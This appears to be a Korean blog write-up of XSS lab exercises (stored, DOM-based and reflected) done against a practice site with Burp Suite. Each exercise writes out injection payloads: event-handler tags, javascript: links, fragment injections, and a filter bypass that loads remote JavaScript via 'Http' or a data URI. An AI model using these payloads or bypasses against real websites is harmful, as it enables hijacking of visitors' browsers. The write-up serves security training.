XSS 공격 실습(Reflected, Stored, DOM)

XSS란?

[보안 취약점 진단 및 대응/취약점] - XSS/CSRF 공격

 

XSS/CSRF 공격

XSS와 CSRF XSS 공격은 Cross Site Scripting의 약자로, 웹 애플리케이션에서 많이 나타나는 취약점 중 하나입니다. 공격자가 웹페이지에 악성스크립트를 삽입하는 공격입니다. [XSS 종류] ▷ Reflected XSS:

psjin230.tistory.com

[모의해킹] - XSS(Cross Site Scripting) 공격

 

XSS(Cross Site Scripting) 공격

XSS(Cross Site Scripting)란? [보안 취약점 진단 및 대응/취약점] - XSS/CSRF 공격 XSS/CSRF 공격 XSS와 CSRF XSS 공격은 Cross Site Scripting의 약자로, 웹 애플리케이션에서 많이 나타나는 취약점 중 하나입니다. 공

psjin230.tistory.com


# 실습1 : Stored XSS

(1) script 공격 시도

[입력] <script>alert('hi hi hi')</script>

=> 출력값 없음, 위와 같이 작성하면 스크립트 동작 없음

 

(2) input 태그를 사용한 공격 시도

[입력] <input type="text" value="XSS ATTACK" onClick="alert('공격이다!!')"/>

=> input box 클릭 시 alert 창 출력됨

 

(3) img 태그를 사용한 공격 시도

[입력] <img src="aaa" onerror="alert('XSS 공격~~~')">

=> 이미지 로드에 실패 했을 때, onerror 실행

=> 새로고침 할 때마다 실행됨.

 

(4) a 태그를 사용한 공격 시도

[입력] <a href="javascript:alert('너는 공격 당했다!! 하하하')">여기를 클릭하세요</a>

=> “여기를 클릭하세요”를 누르면 alert 창이 출력됨

 

(추가)

=> blockquote 태그는 단순한 텍스트를 표시하는 용도로 사용됨


# 실습2 : DOM based XSS

(1) 사이트가 어떻게 동작하는지 확인

=> Burp suite에서 Intercept is on으로 바꾸고, 사이트에 접속

=> Repeater로 보내서 Response 확인

=> 버튼을 클릭하면 chooseTab 함수가 실행됨

=> chooseTab 함수에 num이 들어가면 num.jpg를 포함한 img 태그를 만들어 냄

 

(2) img 태그를 개발자 도구에서 확인

=> 버튼을 클릭했을 때 img1을 클릭하면 url주소가 #1, img2을 클릭하면 url주소가 #2로 변함

=> #7777 입력

=> 개발자도구를 확인해보면 "<img src='/lhs/quiz2/q3/iu" + num + ".jpg' />"; 형식으로 입력되어 있음

 

(3) 공격 시도

[입력] #1.jpg' onload=alert('XSS_1');'

=> 1.jpg는 존재하는 그림이므로 onload 사용

[입력] #7777.jpg' onerror=alert('XSS_2');’

=> 7777.jpg는 존재하지 않는 그림이므로 onerror 사용


# 실습3 : Reflected XSS

(1) 아무 값이나 넣고 어떻게 동작하는지 확인

[입력] abcdef

=> Burp suite에서 Intercept is on으로 바꾸고, 사이트에서 abcdef(아무 값)를 넣고 전송

=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음

=> <img src="iu1.jpg" onload="startTimer('abcdef');" />

=> 이미지로 startTimer함수에 입력값이 넘어감

 

(2) 공격 시도

[입력] abcdef'); alert('XSS ATTACK!!><'); ('

=> 공격 URL : 빨간 네모 주소창

=> 해당 주소를 공유하면 이 주소를 클릭한 사람들은 모두 XSS 공격을 받게 됨


# 실습4 : XSS

(1) 웹페이지 구조 확인

=> Burp suite에서 Intercept is on으로 바꾸고, 사이트 접속

=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음

=> <a href="signup.jsp?next=confirm.html">

=> a 태그를 클릭하면 페이지 이동

=> /confirm.html로 이동

 

(2) a 태그를 클릭 후 넘어가는 페이지에 공격 구문 삽입

[입력] 스크립트 구문 : next=javascript:alert(‘XSS_ATTACK’);

=> 공격은 가입하기를 누를 때, 넘어가는 next에 스크립트 구문을 넣어야함

=> next = confirm.html 부분에 next = 스크립트 구문 작성

=> 공격구문 삽입 후 Forward를 클릭 후 Intercept is off로 변경

=> Response를 확인해보면 a 태그(다음으로)의 링크가 바뀐 것을 확인할 수 있음

 

(3) 공격 확인

=> 공격이 발생하는 곳은 가입하기 다음 페이지에 다음으로를 클릭하면 스크립트 구문이 작동

=> 공격 URI : (생략)...q5/signup.jsp?next=javascript:alert(%27XSS_ATTACK%27);

=> 해당 주소를 공유하면 이 주소를 클릭한 사람들은 모두 XSS 공격을 받게 됨


# 실습5 : XSS

(1) 웹페이지 구조 확인

=> Burp suite에서 Intercept is on으로 바꾸고, 사이트 접속

=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음

 

(2) 동작 확인

=> includeGadget url이 들어오면 동작하는 함수

=> /^https?:\/\//(정규식) 형태의 값이 들어오면 알림창 띄움

/index.html
loading.js
attack.js

=> 있는 것은 띄워주고, 없는 것은 오류 발생

=> loading.js, attack.js

 

(3) test111.js을 사용한 공격 시도

[입력] (생략)...q6/index.html#http://shanky.co.kr:38080/lhs/js/test111.js

=> http 소문자만 막아놨기 때문에 실행 안됨

[입력] (생략)...q6/index.html#Http://shanky.co.kr:38080/lhs/js/test111.js

=> url 주소를 http가 아닌 Http로 입력하면 실행됨

 

(4) Google jsapi 중 callback 함수를 사용한 공격 시도

[입력] (생략)...q6/index.html#Http://www.google.com/jsapi?callback=alert

=> google jsapi에서 제공해주는 것 사용할 수 있음

 

(5) Data URI 타입 사용

[입력] (생략)...q6/index.html#data:text/html,alert(‘XSS123’)

=> url에 데이터 형태로 전송해도 됨